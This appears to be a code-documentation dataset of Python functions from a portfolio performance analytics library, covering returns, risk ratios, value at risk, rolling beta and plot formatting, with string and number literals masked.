{"signature": "def _cumulative_returns_less_costs(returns, costs):", "body": "if costs is None:<EOL><INDENT>return ep.cum_returns(returns)<EOL><DEDENT>return ep.cum_returns(returns - costs)<EOL>", "docstring": "Compute cumulative returns, less costs.", "id": "f12219:m10"}
{"signature": "def one_dec_places(x, pos):", "body": "return '<STR_LIT>' % x<EOL>", "docstring": "Adds 1/10th decimal to plot ticks.", "id": "f12220:m0"}
{"signature": "def two_dec_places(x, pos):", "body": "return '<STR_LIT>' % x<EOL>", "docstring": "Adds 1/100th decimal to plot ticks.", "id": "f12220:m1"}
{"signature": "def percentage(x, pos):", "body": "return '<STR_LIT>' % x<EOL>", "docstring": "Adds percentage sign to plot ticks.", "id": "f12220:m2"}
{"signature": "def format_asset(asset):", "body": "try:<EOL><INDENT>import zipline.assets<EOL><DEDENT>except ImportError:<EOL><INDENT>return asset<EOL><DEDENT>if isinstance(asset, zipline.assets.Asset):<EOL><INDENT>return asset.symbol<EOL><DEDENT>else:<EOL><INDENT>return asset<EOL><DEDENT>", "docstring": "If zipline asset objects are used, we want to print them out prettily\nwithin the tear sheet. This function should only be applied directly\nbefore displaying.", "id": "f12220:m3"}
{"signature": "def vectorize(func):", "body": "def wrapper(df, *args, **kwargs):<EOL><INDENT>if df.ndim == <NUM_LIT:1>:<EOL><INDENT>return func(df, *args, **kwargs)<EOL><DEDENT>elif df.ndim == <NUM_LIT:2>:<EOL><INDENT>return df.apply(func, *args, **kwargs)<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator so that functions can be written to work on Series but\nmay still be called with DataFrames.", "id": "f12220:m4"}
{"signature": "def print_table(table,<EOL>name=None,<EOL>float_format=None,<EOL>formatters=None,<EOL>header_rows=None):", "body": "if isinstance(table, pd.Series):<EOL><INDENT>table = pd.DataFrame(table)<EOL><DEDENT>if name is not None:<EOL><INDENT>table.columns.name = name<EOL><DEDENT>html = table.to_html(float_format=float_format, formatters=formatters)<EOL>if header_rows is not None:<EOL><INDENT>n_cols = html.split('<STR_LIT>')[<NUM_LIT:1>].split('<STR_LIT>')[<NUM_LIT:0>].count('<STR_LIT>')<EOL>rows = '<STR_LIT>'<EOL>for name, value in header_rows.items():<EOL><INDENT>rows += ('<STR_LIT>' +<EOL>'<STR_LIT>') % (name, n_cols, value)<EOL><DEDENT>html = html.replace('<STR_LIT>', '<STR_LIT>' + rows)<EOL><DEDENT>display(HTML(html))<EOL>", "docstring": "Pretty print a pandas DataFrame.\n\nUses HTML output if running inside Jupyter Notebook, otherwise\nformatted text output.\n\nParameters\n----------\ntable : pandas.Series or pandas.DataFrame\n    Table to pretty-print.\nname : str, optional\n    Table name to display in upper left corner.\nfloat_format : function, optional\n    Formatter to use for displaying table elements, passed as the\n    `float_format` arg to pd.Dataframe.to_html.\n    E.g. `'{0:.2%}'.format` for displaying 100 as '100.00%'.\nformatters : list or dict, optional\n    Formatters to use by column, passed as the `formatters` arg to\n    pd.Dataframe.to_html.\nheader_rows : dict, optional\n    Extra rows to display at the top of the table.", "id": "f12220:m6"}
{"signature": "def standardize_data(x):", "body": "return (x - np.mean(x)) / np.std(x)<EOL>", "docstring": "Standardize an array with mean and standard deviation.\n\nParameters\n----------\nx : np.array\n    Array to standardize.\n\nReturns\n-------\nnp.array\n    Standardized array.", "id": "f12220:m7"}
{"signature": "def detect_intraday(positions, transactions, threshold=<NUM_LIT>):", "body": "daily_txn = transactions.copy()<EOL>daily_txn.index = daily_txn.index.date<EOL>txn_count = daily_txn.groupby(level=<NUM_LIT:0>).symbol.nunique().sum()<EOL>daily_pos = positions.drop('<STR_LIT>', axis=<NUM_LIT:1>).replace(<NUM_LIT:0>, np.nan)<EOL>return daily_pos.count(axis=<NUM_LIT:1>).sum() / txn_count < threshold<EOL>", "docstring": "Attempt to detect an intraday strategy. Get the number of\npositions held at the end of the day, and divide that by the\nnumber of unique stocks transacted every day. If the average quotient\nis below a threshold, then an intraday strategy is detected.\n\nParameters\n----------\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\n\nReturns\n-------\nboolean\n    True if an intraday strategy is detected.", "id": "f12220:m8"}
{"signature": "def check_intraday(estimate, returns, positions, transactions):", "body": "if estimate == '<STR_LIT>':<EOL><INDENT>if positions is not None and transactions is not None:<EOL><INDENT>if detect_intraday(positions, transactions):<EOL><INDENT>warnings.warn('<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>')<EOL>return estimate_intraday(returns, positions, transactions)<EOL><DEDENT>else:<EOL><INDENT>return positions<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return positions<EOL><DEDENT><DEDENT>elif estimate:<EOL><INDENT>if positions is not None and transactions is not None:<EOL><INDENT>return estimate_intraday(returns, positions, transactions)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return positions<EOL><DEDENT>", "docstring": "Logic for checking if a strategy is intraday and processing it.\n\nParameters\n----------\nestimate: boolean or str, optional\n    Approximate returns for intraday strategies.\n    See description in tears.create_full_tear_sheet.\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\n\nReturns\n-------\npd.DataFrame\n    Daily net position values, adjusted for intraday movement.", "id": "f12220:m9"}
{"signature": "def estimate_intraday(returns, positions, transactions, EOD_hour=<NUM_LIT>):", "body": "<EOL>txn_val = transactions.copy()<EOL>txn_val.index.names = ['<STR_LIT:date>']<EOL>txn_val['<STR_LIT:value>'] = txn_val.amount * txn_val.price<EOL>txn_val = txn_val.reset_index().pivot_table(<EOL>index='<STR_LIT:date>', values='<STR_LIT:value>',<EOL>columns='<STR_LIT>').replace(np.nan, <NUM_LIT:0>)<EOL>txn_val['<STR_LIT:date>'] = txn_val.index.date<EOL>txn_val = txn_val.groupby('<STR_LIT:date>').cumsum()<EOL>txn_val['<STR_LIT>'] = txn_val.abs().sum(axis=<NUM_LIT:1>)<EOL>condition = (txn_val['<STR_LIT>'] == txn_val.groupby(<EOL>pd.TimeGrouper('<STR_LIT>'))['<STR_LIT>'].transform(max))<EOL>txn_val = txn_val[condition].drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>txn_val['<STR_LIT>'] = -txn_val.sum(axis=<NUM_LIT:1>)<EOL>positions_shifted = positions.copy().shift(<NUM_LIT:1>).fillna(<NUM_LIT:0>)<EOL>starting_capital = positions.iloc[<NUM_LIT:0>].sum() / (<NUM_LIT:1> + returns[<NUM_LIT:0>])<EOL>positions_shifted.cash[<NUM_LIT:0>] = starting_capital<EOL>txn_val.index = txn_val.index.normalize()<EOL>corrected_positions = positions_shifted.add(txn_val, fill_value=<NUM_LIT:0>)<EOL>corrected_positions.index.name = '<STR_LIT>'<EOL>corrected_positions.columns.name = '<STR_LIT>'<EOL>return corrected_positions<EOL>", "docstring": "Intraday strategies will often not hold positions at the day end.\nThis attempts to find the point in the day that best represents\nthe activity of the strategy on that day, and effectively resamples\nthe end-of-day positions with the positions at this point of day.\nThe point of day is found by detecting when our exposure in the\nmarket is at its maximum point. Note that this is an estimate.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\n\nReturns\n-------\npd.DataFrame\n    Daily net position values, resampled for intraday behavior.", "id": "f12220:m10"}
{"signature": "def clip_returns_to_benchmark(rets, benchmark_rets):", "body": "if (rets.index[<NUM_LIT:0>] < benchmark_rets.index[<NUM_LIT:0>])or (rets.index[-<NUM_LIT:1>] > benchmark_rets.index[-<NUM_LIT:1>]):<EOL><INDENT>clipped_rets = rets[benchmark_rets.index]<EOL><DEDENT>else:<EOL><INDENT>clipped_rets = rets<EOL><DEDENT>return clipped_rets<EOL>", "docstring": "Drop entries from rets so that the start and end dates of rets match those\nof benchmark_rets.\n\nParameters\n----------\nrets : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See pf.tears.create_full_tear_sheet for more details\n\nbenchmark_rets : pd.Series\n    Daily returns of the benchmark, noncumulative.\n\nReturns\n-------\nclipped_rets : pd.Series\n    Daily noncumulative returns with index clipped to match that of\n    benchmark returns.", "id": "f12220:m11"}
{"signature": "def to_utc(df):", "body": "try:<EOL><INDENT>df.index = df.index.tz_localize('<STR_LIT>')<EOL><DEDENT>except TypeError:<EOL><INDENT>df.index = df.index.tz_convert('<STR_LIT>')<EOL><DEDENT>return df<EOL>", "docstring": "For use in tests; applied UTC timestamp to DataFrame.", "id": "f12220:m12"}
{"signature": "def to_series(df):", "body": "return df[df.columns[<NUM_LIT:0>]]<EOL>", "docstring": "For use in tests; converts DataFrame's first column to Series.", "id": "f12220:m13"}
{"signature": "def register_return_func(func):", "body": "SETTINGS['<STR_LIT>'] = func<EOL>", "docstring": "Registers the 'returns_func' that will be called for\nretrieving returns data.\n\nParameters\n----------\nfunc : function\n    A function that returns a pandas Series of asset returns.\n    The signature of the function must be as follows\n\n    >>> func(symbol)\n\n    Where symbol is an asset identifier\n\nReturns\n-------\nNone", "id": "f12220:m14"}
{"signature": "def get_symbol_rets(symbol, start=None, end=None):", "body": "return SETTINGS['<STR_LIT>'](symbol,<EOL>start=start,<EOL>end=end)<EOL>", "docstring": "Calls the currently registered 'returns_func'\n\nParameters\n----------\nsymbol : object\n    An identifier for the asset whose return\n    series is desired.\n    e.g. ticker symbol or database ID\nstart : date, optional\n    Earliest date to fetch data for.\n    Defaults to earliest date available.\nend : date, optional\n    Latest date to fetch data for.\n    Defaults to latest date available.\n\nReturns\n-------\npandas.Series\n    Returned by the current 'returns_func'", "id": "f12220:m15"}
{"signature": "def configure_legend(ax, autofmt_xdate=True, change_colors=False,<EOL>rotation=<NUM_LIT:30>, ha='<STR_LIT:right>'):", "body": "chartBox = ax.get_position()<EOL>ax.set_position([chartBox.x0, chartBox.y0,<EOL>chartBox.width * <NUM_LIT>, chartBox.height])<EOL>handles, labels = ax.get_legend_handles_labels()<EOL>handles_and_labels_sorted = sorted(zip(handles, labels),<EOL>key=lambda x: x[<NUM_LIT:0>].get_ydata()[-<NUM_LIT:1>],<EOL>reverse=True)<EOL>handles_sorted = [h[<NUM_LIT:0>] for h in handles_and_labels_sorted]<EOL>labels_sorted = [h[<NUM_LIT:1>] for h in handles_and_labels_sorted]<EOL>if change_colors:<EOL><INDENT>for handle, color in zip(handles_sorted,<EOL>cycle(COLORS)):<EOL><INDENT>handle.set_color(color)<EOL><DEDENT><DEDENT>ax.legend(handles=handles_sorted,<EOL>labels=labels_sorted,<EOL>frameon=True,<EOL>framealpha=<NUM_LIT:0.5>,<EOL>loc='<STR_LIT>',<EOL>bbox_to_anchor=(<NUM_LIT>, <NUM_LIT:1>),<EOL>fontsize='<STR_LIT>')<EOL>if autofmt_xdate:<EOL><INDENT>for label in ax.get_xticklabels():<EOL><INDENT>label.set_ha(ha)<EOL>label.set_rotation(rotation)<EOL><DEDENT><DEDENT>", "docstring": "Format legend for perf attribution plots:\n- put legend to the right of plot instead of overlapping with it\n- make legend order match up with graph lines\n- set colors according to colormap", "id": "f12220:m16"}
{"signature": "def sample_colormap(cmap_name, n_samples):", "body": "colors = []<EOL>colormap = cm.cmap_d[cmap_name]<EOL>for i in np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, n_samples):<EOL><INDENT>colors.append(colormap(i))<EOL><DEDENT>return colors<EOL>", "docstring": "Sample a colormap from matplotlib", "id": "f12220:m17"}
{"signature": "def var_cov_var_normal(P, c, mu=<NUM_LIT:0>, sigma=<NUM_LIT:1>):", "body": "alpha = sp.stats.norm.ppf(<NUM_LIT:1> - c, mu, sigma)<EOL>return P - P * (alpha + <NUM_LIT:1>)<EOL>", "docstring": "Variance-covariance calculation of daily Value-at-Risk in a\nportfolio.\n\nParameters\n----------\nP : float\n    Portfolio value.\nc : float\n    Confidence level.\nmu : float, optional\n    Mean.\n\nReturns\n-------\nfloat\n    Variance-covariance.", "id": "f12221:m0"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def max_drawdown(returns):", "body": "return ep.max_drawdown(returns)<EOL>", "docstring": "Determines the maximum drawdown of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\n\nReturns\n-------\nfloat\n    Maximum drawdown.\n\nNote\n-----\nSee https://en.wikipedia.org/wiki/Drawdown_(economics) for more details.", "id": "f12221:m1"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def annual_return(returns, period=DAILY):", "body": "return ep.annual_return(returns, period=period)<EOL>", "docstring": "Determines the mean annual growth rate of returns.\n\nParameters\n----------\nreturns : pd.Series\n    Periodic returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nperiod : str, optional\n    Defines the periodicity of the 'returns' data for purposes of\n    annualizing. Can be 'monthly', 'weekly', or 'daily'.\n    - Defaults to 'daily'.\n\nReturns\n-------\nfloat\n    Annual Return as CAGR (Compounded Annual Growth Rate).", "id": "f12221:m2"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def annual_volatility(returns, period=DAILY):", "body": "return ep.annual_volatility(returns, period=period)<EOL>", "docstring": "Determines the annual volatility of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Periodic returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nperiod : str, optional\n    Defines the periodicity of the 'returns' data for purposes of\n    annualizing volatility. Can be 'monthly' or 'weekly' or 'daily'.\n    - Defaults to 'daily'.\n\nReturns\n-------\nfloat\n    Annual volatility.", "id": "f12221:m3"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def calmar_ratio(returns, period=DAILY):", "body": "return ep.calmar_ratio(returns, period=period)<EOL>", "docstring": "Determines the Calmar ratio, or drawdown ratio, of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nperiod : str, optional\n    Defines the periodicity of the 'returns' data for purposes of\n    annualizing. Can be 'monthly', 'weekly', or 'daily'.\n    - Defaults to 'daily'.\n\nReturns\n-------\nfloat\n    Calmar ratio (drawdown ratio) as float. Returns np.nan if there is no\n    calmar ratio.\n\nNote\n-----\nSee https://en.wikipedia.org/wiki/Calmar_ratio for more details.", "id": "f12221:m4"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def omega_ratio(returns, annual_return_threshhold=<NUM_LIT:0.0>):", "body": "return ep.omega_ratio(returns,<EOL>required_return=annual_return_threshhold)<EOL>", "docstring": "Determines the Omega ratio of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nannual_return_threshold : float, optional\n    Minimum acceptable return of the investor. Annual threshold over which\n    returns are considered positive or negative. It is converted to a\n    value appropriate for the period of the returns for this ratio.\n    E.g. An annual minimum acceptable return of 100 translates to a daily\n    minimum acceptable return of 0.01848.\n        (1 + 100) ** (1. / 252) - 1 = 0.01848\n    Daily returns must exceed this value to be considered positive. The\n    daily return yields the desired annual return when compounded over\n    the average number of business days in a year.\n        (1 + 0.01848) ** 252 - 1 = 99.93\n    - Defaults to 0.0\n\n\nReturns\n-------\nfloat\n    Omega ratio.\n\nNote\n-----\nSee https://en.wikipedia.org/wiki/Omega_ratio for more details.", "id": "f12221:m5"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def sortino_ratio(returns, required_return=<NUM_LIT:0>, period=DAILY):", "body": "return ep.sortino_ratio(returns, required_return=required_return)<EOL>", "docstring": "Determines the Sortino ratio of a strategy.\n\nParameters\n----------\nreturns : pd.Series or pd.DataFrame\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nrequired_return: float / series\n    minimum acceptable return\nperiod : str, optional\n    Defines the periodicity of the 'returns' data for purposes of\n    annualizing. Can be 'monthly', 'weekly', or 'daily'.\n    - Defaults to 'daily'.\n\nReturns\n-------\ndepends on input type\nseries ==> float\nDataFrame ==> np.array\n\n    Annualized Sortino ratio.", "id": "f12221:m6"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def downside_risk(returns, required_return=<NUM_LIT:0>, period=DAILY):", "body": "return ep.downside_risk(returns,<EOL>required_return=required_return,<EOL>period=period)<EOL>", "docstring": "Determines the downside deviation below a threshold\n\nParameters\n----------\nreturns : pd.Series or pd.DataFrame\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nrequired_return: float / series\n    minimum acceptable return\nperiod : str, optional\n    Defines the periodicity of the 'returns' data for purposes of\n    annualizing. Can be 'monthly', 'weekly', or 'daily'.\n    - Defaults to 'daily'.\n\nReturns\n-------\ndepends on input type\nseries ==> float\nDataFrame ==> np.array\n\n    Annualized downside deviation", "id": "f12221:m7"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def sharpe_ratio(returns, risk_free=<NUM_LIT:0>, period=DAILY):", "body": "return ep.sharpe_ratio(returns, risk_free=risk_free, period=period)<EOL>", "docstring": "Determines the Sharpe ratio of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nrisk_free : int, float\n    Constant risk-free return throughout the period.\nperiod : str, optional\n    Defines the periodicity of the 'returns' data for purposes of\n    annualizing. Can be 'monthly', 'weekly', or 'daily'.\n    - Defaults to 'daily'.\n\nReturns\n-------\nfloat\n    Sharpe ratio.\nnp.nan\n    If insufficient length of returns or if if adjusted returns are 0.\n\nNote\n-----\nSee https://en.wikipedia.org/wiki/Sharpe_ratio for more details.", "id": "f12221:m8"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def alpha_beta(returns, factor_returns):", "body": "return ep.alpha_beta(returns, factor_returns=factor_returns)<EOL>", "docstring": "Calculates both alpha and beta.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nfactor_returns : pd.Series\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\n\nReturns\n-------\nfloat\n    Alpha.\nfloat\n    Beta.", "id": "f12221:m9"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def alpha(returns, factor_returns):", "body": "return ep.alpha(returns, factor_returns=factor_returns)<EOL>", "docstring": "Calculates annualized alpha.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nfactor_returns : pd.Series\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\n\nReturns\n-------\nfloat\n    Alpha.", "id": "f12221:m10"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def beta(returns, factor_returns):", "body": "return ep.beta(returns, factor_returns)<EOL>", "docstring": "Calculates beta.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nfactor_returns : pd.Series\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\n\nReturns\n-------\nfloat\n    Beta.", "id": "f12221:m11"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def stability_of_timeseries(returns):", "body": "return ep.stability_of_timeseries(returns)<EOL>", "docstring": "Determines R-squared of a linear fit to the cumulative\nlog returns. Computes an ordinary least squares linear fit,\nand returns R-squared.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\n\nReturns\n-------\nfloat\n    R-squared.", "id": "f12221:m12"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def tail_ratio(returns):", "body": "return ep.tail_ratio(returns)<EOL>", "docstring": "Determines the ratio between the right (95%) and left tail (5%).\n\nFor example, a ratio of 0.25 means that losses are four times\nas bad as profits.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\n\nReturns\n-------\nfloat\n    tail ratio", "id": "f12221:m13"}
{"signature": "def common_sense_ratio(returns):", "body": "return ep.tail_ratio(returns) *(<NUM_LIT:1> + ep.annual_return(returns))<EOL>", "docstring": "Common sense ratio is the multiplication of the tail ratio and the\nGain-to-Pain-Ratio -- sum(profits) / sum(losses).\n\nSee http://bit.ly/1ORzGBk for more information on motivation of\nthis metric.\n\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\n\nReturns\n-------\nfloat\n    common sense ratio", "id": "f12221:m14"}
{"signature": "def normalize(returns, starting_value=<NUM_LIT:1>):", "body": "return starting_value * (returns / returns.iloc[<NUM_LIT:0>])<EOL>", "docstring": "Normalizes a returns timeseries based on the first value.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nstarting_value : float, optional\n   The starting returns (default 1).\n\nReturns\n-------\npd.Series\n    Normalized returns.", "id": "f12221:m15"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def cum_returns(returns, starting_value=<NUM_LIT:0>):", "body": "return ep.cum_returns(returns, starting_value=starting_value)<EOL>", "docstring": "Compute cumulative returns from simple returns.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nstarting_value : float, optional\n   The starting returns (default 1).\n\nReturns\n-------\npandas.Series\n    Series of cumulative returns.\n\nNotes\n-----\nFor increased numerical accuracy, convert input to log returns\nwhere it is possible to sum instead of multiplying.", "id": "f12221:m16"}
{"signature": "@deprecated(msg=DEPRECATION_WARNING)<EOL>def aggregate_returns(returns, convert_to):", "body": "return ep.aggregate_returns(returns, convert_to=convert_to)<EOL>", "docstring": "Aggregates returns by week, month, or year.\n\nParameters\n----------\nreturns : pd.Series\n   Daily returns of the strategy, noncumulative.\n    - See full explanation in :func:`~pyfolio.timeseries.cum_returns`.\nconvert_to : str\n    Can be 'weekly', 'monthly', or 'yearly'.\n\nReturns\n-------\npd.Series\n    Aggregated returns.", "id": "f12221:m17"}
{"signature": "def rolling_beta(returns, factor_returns,<EOL>rolling_window=APPROX_BDAYS_PER_MONTH * <NUM_LIT:6>):", "body": "if factor_returns.ndim > <NUM_LIT:1>:<EOL><INDENT>return factor_returns.apply(partial(rolling_beta, returns),<EOL>rolling_window=rolling_window)<EOL><DEDENT>else:<EOL><INDENT>out = pd.Series(index=returns.index)<EOL>for beg, end in zip(returns.index[<NUM_LIT:0>:-rolling_window],<EOL>returns.index[rolling_window:]):<EOL><INDENT>out.loc[end] = ep.beta(<EOL>returns.loc[beg:end],<EOL>factor_returns.loc[beg:end])<EOL><DEDENT>return out<EOL><DEDENT>", "docstring": "Determines the rolling beta of a strategy.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series or pd.DataFrame\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - If DataFrame is passed, computes rolling beta for each column.\n     - This is in the same style as returns.\nrolling_window : int, optional\n    The size of the rolling window, in days, over which to compute\n    beta (default 6 months).\n\nReturns\n-------\npd.Series\n    Rolling beta.\n\nNote\n-----\nSee https://en.wikipedia.org/wiki/Beta_(finance) for more details.", "id": "f12221:m18"}
{"signature": "def rolling_regression(returns, factor_returns,<EOL>rolling_window=APPROX_BDAYS_PER_MONTH * <NUM_LIT:6>,<EOL>nan_threshold=<NUM_LIT:0.1>):", "body": "<EOL>ret_no_na = returns.dropna()<EOL>columns = ['<STR_LIT>'] + factor_returns.columns.tolist()<EOL>rolling_risk = pd.DataFrame(columns=columns,<EOL>index=ret_no_na.index)<EOL>rolling_risk.index.name = '<STR_LIT>'<EOL>for beg, end in zip(ret_no_na.index[:-rolling_window],<EOL>ret_no_na.index[rolling_window:]):<EOL><INDENT>returns_period = ret_no_na[beg:end]<EOL>factor_returns_period = factor_returns.loc[returns_period.index]<EOL>if np.all(factor_returns_period.isnull().mean()) < nan_threshold:<EOL><INDENT>factor_returns_period_dnan = factor_returns_period.dropna()<EOL>reg = linear_model.LinearRegression(fit_intercept=True).fit(<EOL>factor_returns_period_dnan,<EOL>returns_period.loc[factor_returns_period_dnan.index])<EOL>rolling_risk.loc[end, factor_returns.columns] = reg.coef_<EOL>rolling_risk.loc[end, '<STR_LIT>'] = reg.intercept_<EOL><DEDENT><DEDENT>return rolling_risk<EOL>", "docstring": "Computes rolling factor betas using a multivariate linear regression\n(separate linear regressions is problematic because the factors may be\nconfounded).\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.DataFrame\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - Computes rolling beta for each column.\n     - This is in the same style as returns.\nrolling_window : int, optional\n    The days window over which to compute the beta. Defaults to 6 months.\nnan_threshold : float, optional\n    If there are more than this fraction of NaNs, the rolling regression\n    for the given date will be skipped.\n\nReturns\n-------\npandas.DataFrame\n    DataFrame containing rolling beta coefficients to SMB, HML and UMD", "id": "f12221:m19"}
{"signature": "def gross_lev(positions):", "body": "exposure = positions.drop('<STR_LIT>', axis=<NUM_LIT:1>).abs().sum(axis=<NUM_LIT:1>)<EOL>return exposure / positions.sum(axis=<NUM_LIT:1>)<EOL>", "docstring": "Calculates the gross leverage of a strategy.\n\nParameters\n----------\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\n\nReturns\n-------\npd.Series\n    Gross leverage.", "id": "f12221:m20"}
{"signature": "def value_at_risk(returns, period=None, sigma=<NUM_LIT>):", "body": "if period is not None:<EOL><INDENT>returns_agg = ep.aggregate_returns(returns, period)<EOL><DEDENT>else:<EOL><INDENT>returns_agg = returns.copy()<EOL><DEDENT>value_at_risk = returns_agg.mean() - sigma * returns_agg.std()<EOL>return value_at_risk<EOL>", "docstring": "Get value at risk (VaR).\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nperiod : str, optional\n    Period over which to calculate VaR. Set to 'weekly',\n    'monthly', or 'yearly', otherwise defaults to period of\n    returns (typically daily).\nsigma : float, optional\n    Standard deviations of VaR, default 2.", "id": "f12221:m21"}
{"signature": "def perf_stats(returns, factor_returns=None, positions=None,<EOL>transactions=None, turnover_denom='<STR_LIT>'):", "body": "stats = pd.Series()<EOL>for stat_func in SIMPLE_STAT_FUNCS:<EOL><INDENT>stats[STAT_FUNC_NAMES[stat_func.__name__]] = stat_func(returns)<EOL><DEDENT>if positions is not None:<EOL><INDENT>stats['<STR_LIT>'] = gross_lev(positions).mean()<EOL>if transactions is not None:<EOL><INDENT>stats['<STR_LIT>'] = get_turnover(positions,<EOL>transactions,<EOL>turnover_denom).mean()<EOL><DEDENT><DEDENT>if factor_returns is not None:<EOL><INDENT>for stat_func in FACTOR_STAT_FUNCS:<EOL><INDENT>res = stat_func(returns, factor_returns)<EOL>stats[STAT_FUNC_NAMES[stat_func.__name__]] = res<EOL><DEDENT><DEDENT>return stats<EOL>", "docstring": "Calculates various performance metrics of a strategy, for use in\nplotting.show_perf_stats.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series, optional\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\n     - If None, do not compute alpha, beta, and information ratio.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n    - See full explanation in tears.create_full_tear_sheet.\nturnover_denom : str\n    Either AGB or portfolio_value, default AGB.\n    - See full explanation in txn.get_turnover.\n\nReturns\n-------\npd.Series\n    Performance metrics.", "id": "f12221:m22"}
